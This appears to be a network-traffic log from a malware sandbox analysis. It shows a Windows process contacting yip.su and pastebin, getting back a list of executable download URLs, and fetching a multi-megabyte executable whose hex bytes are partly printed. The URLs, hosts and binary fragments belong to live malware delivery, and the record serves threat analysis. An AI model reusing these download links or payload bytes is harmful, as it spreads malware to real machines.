84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	55588	172.67.169.89	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	41	OUT	GET /RNWPd.exe HTTP/1.1 Host: yip.su
2024-03-11 02:30:56 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close memory: 0.36199188232421875 expires: Mon, 11 Mar 2024 02:30:56 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z79NIseXxPGllbRUFcAdocKaz3uypYodjM5tUb%2F4pPG2IJprqWgQLr5mqoJMVpqdedQehw50IqxLj1PKVr18eGcl5EUmMhtf4KLtH4SPF2VTnoi%2FOy0rqm8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201a98d20a01-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:56 UTC	471	IN	Data Raw: 31 64 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c Data Ascii: 1d16<!DOCTYPE html><html lang="" class="html"><head><title></title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 Data Ascii: r" content="7 days" /><meta name="keywords" content="" /><meta name="description" content="" /><link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" /><meta property="og:image" content="https://cdn.iplogger.or
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 6e 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 7b 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 38 62 64 39 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 35 70 78 20 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 2e 32 73 3b 61 6e 69 Data Ascii: ne}#loader>span{height:16px;width:16px;border-radius:50%;background-color:#338bd9;display:inline-block;margin:25px 5px 0;-webkit-animation:jump 1s linear infinite;animation:jump 1s linear infinite}#loader>span:nth-child(2){-webkit-animation-delay:0.2s;ani
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 72 69 70 74 3e 0a 09 76 61 72 20 5f 70 3b 0a 09 69 66 28 6e 61 76 69 67 61 74 6f 72 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 27 57 69 6e 64 6f 77 73 27 29 7b 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 5b 27 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 27 5d 29 2e 74 68 65 6e 28 75 61 3d 3e 7b 5f 70 3d 70 61 72 73 65 49 6e 74 28 75 61 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 29 7d 29 7d 0a 09 76 61 72 20 5f 79 3d 5b 5d 2c 5f 7a 3d 7b 7d 2c 5f 78 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ript>var _p;if(navigator&&navigator.userAgentData&&navigator.userAgentData.platform==='Windows'){navigator.userAgentData.getHighEntropyValues(['platformVersion']).then(ua=>{_p=parseInt(ua.platformVersion.split('.')[0])})}var _y=[],_z={},_x=function(
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 6f 72 65 20 70 72 6f 63 65 73 73 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 5f 63 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 74 79 6c 65 3e 0a 2e 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 34 34 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 33 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 Data Ascii: ore processing...</div></div> <script> _c();</script><style>.wrapper{margin-top:100px}.container{width:440px;min-width:320px;height:350px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 30 37 34 64 37 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 0a 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e 79 69 70 2e 73 75 3c 2f 64 69 Data Ascii: .logo-text{color:#074d7c;text-align:center;font-size:12px;white-space:nowrap;font-family:arial;font-weight:700}</style><div class="wrapper"> <div class="container"> <div class="header"><div class="domain"><div id="domain">yip.su</di
2024-03-11 02:30:56 UTC	138	IN	Data Raw: 75 74 65 27 2c 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 69 2c 61 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 69 2c 61 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 27 2b 75 72 6c 2e 6a 6f 69 6e 28 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: ute',a.style.top=i,a.style.left=i,a.src='https://counter.yadro.ru/hit?'+url.join(';'),d.body.appendChild(a);</script></body></html>
2024-03-11 02:30:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	55589	104.20.68.143	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	50	OUT	GET /raw/E0rY26ni HTTP/1.1 Host: pastebin.com
2024-03-11 02:30:56 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 3 Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Server: cloudflare CF-RAY: 8628201a8ffb0acd-LAS
2024-03-11 02:30:56 UTC	800	IN	Data Raw: 33 31 39 0d 0a 68 74 74 70 3a 2f 2f 31 38 35 2e 31 37 32 2e 31 32 38 2e 31 32 36 2f 49 6e 73 74 61 6c 6c 53 65 74 75 70 35 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 6a 2d 75 70 73 70 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6e 65 74 77 6f 72 6b 31 2f 64 6f 77 6e 6c 6f 61 64 73 2f 61 30 32 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 68 69 70 6f 66 64 65 73 74 69 6e 79 2e 63 6f 6d 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 74 79 2e 69 6e 6b 2f 70 70 67 38 78 0d 0a 68 74 74 70 73 3a 2f 2f 6e 61 6d 65 6d 61 69 6c 2e 6f 72 67 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 Data Ascii: 319http://185.172.128.126/InstallSetup5.exehttps://bitbucket.org/j-upsps/microsoft_network1/downloads/a02.exehttps://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exehttps://sty.ink/ppg8xhttps://namemail.org/6779d89b7a368f4f3f340b50a9d18d71
2024-03-11 02:30:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	55586	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	134	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org Connection: Keep-Alive
2024-03-11 02:30:57 UTC	679	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=c4Wns%2FE9P5dgKTrL%2FqwzwFYxW3F%2BbnDTRsOeLS4rE8YqpfLvP8%2FFZHD0uo3ELspqag2LrlusgrHw0iDbCzQZoaSH9%2BsIquYOJCODyZAh%2FWWS5hRw3s89LISnqk1CTxlz6vA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201a683009f1-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	690	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 5d Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]]
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 19 Data Ascii: ju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e 64 Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~d
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 f8 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 f9 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 ff Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 00 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
